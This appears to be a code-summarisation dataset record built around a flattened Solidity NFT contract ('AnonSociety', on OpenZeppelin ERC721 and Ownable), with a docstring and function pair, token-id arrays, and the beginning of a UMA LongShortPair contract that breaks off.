* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: node_modules\@openzeppelin\contracts\utils\Context.sol
//
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: node_modules\@openzeppelin\contracts\utils\Strings.sol
//
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: node_modules\@openzeppelin\contracts\utils\introspection\ERC165.sol
//
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: node_modules\@openzeppelin\contracts\token\ERC721\ERC721.sol
//
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin\contracts\token\ERC721\extensions\ERC721URIStorage.sol
//
pragma solidity ^0.8.0;
/**
* @dev ERC721 token with storage based token URI management.
*/
abstract contract ERC721URIStorage is ERC721 {
using Strings for uint256;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
// File: @openzeppelin\contracts\access\Ownable.sol
//
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: contracts\AnonSociety.sol
//
pragma solidity ^0.8.0;
contract AnonSociety is ERC721URIStorage, Ownable {
// @dev Emited for every minting.
event newAnonymous(address creator, uint256 startWith, uint256 amount);
uint256 public totalSupply;
uint256 public maxCount;
uint256 public price;
string internal baseURI;
bool internal opened;
bool public isFrosen;
constructor(string memory _name, string memory _symbol, uint256 _maxCount, uint256 _price) ERC721(_name, _symbol) {
maxCount = _maxCount;
price = _price;
}
function _uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len;
while (_i != 0) {
k = k-1;
uint8 temp = (48 + uint8(_i - _i / 10 * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(bstr);
}
function froozeData() external onlyOwner {
isFrosen = true;
}
// @dev Set the base URI. ipfs://0x0...
function setBaseURI(string memory _baseURI) external onlyOwner {
require(!isFrosen, "Frozen metadata");
baseURI = _baseURI;
}
// @dev return base uri with token id. ipfs://hash/tokenId
function tokenURI(uint256 tokenId) public view override returns(string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, _uint2str(tokenId))) : "";
}
function editPrice(uint256 _newPrice) public onlyOwner {
require(!isFrosen, "Frozen price");
price = _newPrice;
}
// @dev Minting is locked before openSale is called.
function openSale() external onlyOwner {
opened = true;
}
// @dev Send the contract balance to owner wallet
function withdrawal() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}
// @dev Minting tokens
function createAnonymous(uint256 _amount) public payable {
require(opened, "sale closed");
require(_amount > 0 && _amount <= maxCount, "Wrong amount");
require(totalSupply + _amount <= maxCount, "Amount too big");
require(msg.value == _amount * price, "price error");
emit newAnonymous(_msgSender(), totalSupply + 1, _amount);
for (uint256 i=0; i< _amount; i++) {
totalSupply++;
_mint(_msgSender(), totalSupply);
}
}
} | @dev Minting is locked before openSale is called. | function openSale() external onlyOwner {
opened = true;
}
| 14,407,986 | [
1,
49,
474,
310,
353,
8586,
1865,
1696,
30746,
353,
2566,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1696,
30746,
1435,
3903,
1338,
5541,
288,
203,
3639,
10191,
273,
638,
31,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "../common/financial-product-libraries/long-short-pair-libraries/LongShortPairFinancialProductLibrary.sol";
import "../../common/implementation/Testable.sol";
import "../../common/implementation/Lockable.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/interfaces/ExpandedIERC20.sol";
import "../../oracle/interfaces/OracleInterface.sol";
import "../../common/interfaces/AddressWhitelistInterface.sol";
import "../../oracle/interfaces/FinderInterface.sol";
import "../../oracle/interfaces/OptimisticOracleInterface.sol";
import "../../oracle/interfaces/IdentifierWhitelistInterface.sol";
import "../../oracle/implementation/Constants.sol";
/**
* @title Long Short Pair.
* @notice Uses a combination of long and short tokens to tokenize the bounded price exposure to a given identifier.
*/
contract LongShortPair is Testable, Lockable {
using FixedPoint for FixedPoint.Unsigned;
using SafeERC20 for IERC20;
/*********************************************
* LONG SHORT PAIR DATA STRUCTURES *
*********************************************/
// Define the contract's constructor parameters as a struct to enable more variables to be specified.
struct ConstructorParams {
string pairName; // Name of the long short pair contract.
uint64 expirationTimestamp; // Unix timestamp of when the contract will expire.
uint256 collateralPerPair; // How many units of collateral are required to mint one pair of synthetic tokens.
bytes32 priceIdentifier; // Price identifier, registered in the DVM for the long short pair.
ExpandedIERC20 longToken; // Token used as long in the LSP. Mint and burn rights needed by this contract.
ExpandedIERC20 shortToken; // Token used as short in the LSP. Mint and burn rights needed by this contract.
IERC20 collateralToken; // Collateral token used to back LSP synthetics.
LongShortPairFinancialProductLibrary financialProductLibrary; // Contract providing settlement payout logic.
bytes customAncillaryData; // Custom ancillary data to be passed along with the price request to the OO.
uint256 prepaidProposerReward; // Preloaded reward to incentivize settlement price proposals.
uint256 optimisticOracleLivenessTime; // OO liveness time for price requests.
uint256 optimisticOracleProposerBond; // OO proposer bond for price requests.
FinderInterface finder; // DVM finder to find other UMA ecosystem contracts.
address timerAddress; // Timer used to synchronize contract time in testing. Set to 0x000... in production.
}
enum ContractState { Open, ExpiredPriceRequested, ExpiredPriceReceived }
// @dev note contractState and expirationTimestamp are declared in this order so they use the same storage slot.
ContractState public contractState;
uint64 public expirationTimestamp;
string public pairName;
// Amount of collateral a pair of tokens is always redeemable for.
uint256 public collateralPerPair;
// Price returned from the Optimistic oracle at settlement time.
int256 public expiryPrice;
// Number between 0 and 1e18 to allocate collateral between long & short tokens at redemption. 0 entitles each short
// to collateralPerPair and long worth 0. 1e18 makes each long worth collateralPerPair and short 0.
uint256 public expiryPercentLong;
bytes32 public priceIdentifier;
IERC20 public collateralToken;
ExpandedIERC20 public longToken;
ExpandedIERC20 public shortToken;
FinderInterface public finder;
LongShortPairFinancialProductLibrary public financialProductLibrary;
// Optimistic oracle customization parameters.
bytes public customAncillaryData;
uint256 public prepaidProposerReward;
uint256 public optimisticOracleLivenessTime;
uint256 public optimisticOracleProposerBond;
/****************************************
* EVENTS *
****************************************/
event TokensCreated(address indexed sponsor, uint256 indexed collateralUsed, uint256 indexed tokensMinted);
event TokensRedeemed(address indexed sponsor, uint256 indexed collateralReturned, uint256 indexed tokensRedeemed);
event ContractExpired(address indexed caller);
event PositionSettled(address indexed sponsor, uint256 collateralReturned, uint256 longTokens, uint256 shortTokens);
/****************************************
* MODIFIERS *
****************************************/
modifier preExpiration() {
require(getCurrentTime() < expirationTimestamp, "Only callable pre-expiry");
_;
}
modifier postExpiration() {
require(getCurrentTime() >= expirationTimestamp, "Only callable post-expiry");
_;
}
modifier onlyOpenState() {
require(contractState == ContractState.Open, "Contract state is not Open");
_;
}
/**
* @notice Construct the LongShortPair
* @param params Constructor params used to initialize the LSP. Key-valued object with the following structure:
* pairName: Name of the long short pair contract.
* expirationTimestamp: Unix timestamp of when the contract will expire.
* collateralPerPair: How many units of collateral are required to mint one pair of synthetic tokens.
* priceIdentifier: Price identifier, registered in the DVM for the long short pair.
* longToken: Token used as long in the LSP. Mint and burn rights needed by this contract.
* shortToken: Token used as short in the LSP. Mint and burn rights needed by this contract.
* collateralToken: Collateral token used to back LSP synthetics.
* financialProductLibrary: Contract providing settlement payout logic.
* customAncillaryData: Custom ancillary data to be passed along with the price request to the OO.
* prepaidProposerReward: Preloaded reward to incentivize settlement price proposals.
* optimisticOracleLivenessTime: OO liveness time for price requests.
* optimisticOracleProposerBond: OO proposer bond for price requests.
* finder: DVM finder to find other UMA ecosystem contracts.
* timerAddress: Timer used to synchronize contract time in testing. Set to 0x000... in production.
*/
constructor(ConstructorParams memory params) Testable(params.timerAddress) {
finder = params.finder;
require(bytes(params.pairName).length > 0, "Pair name cant be empty");
require(params.expirationTimestamp > getCurrentTime(), "Expiration timestamp in past");
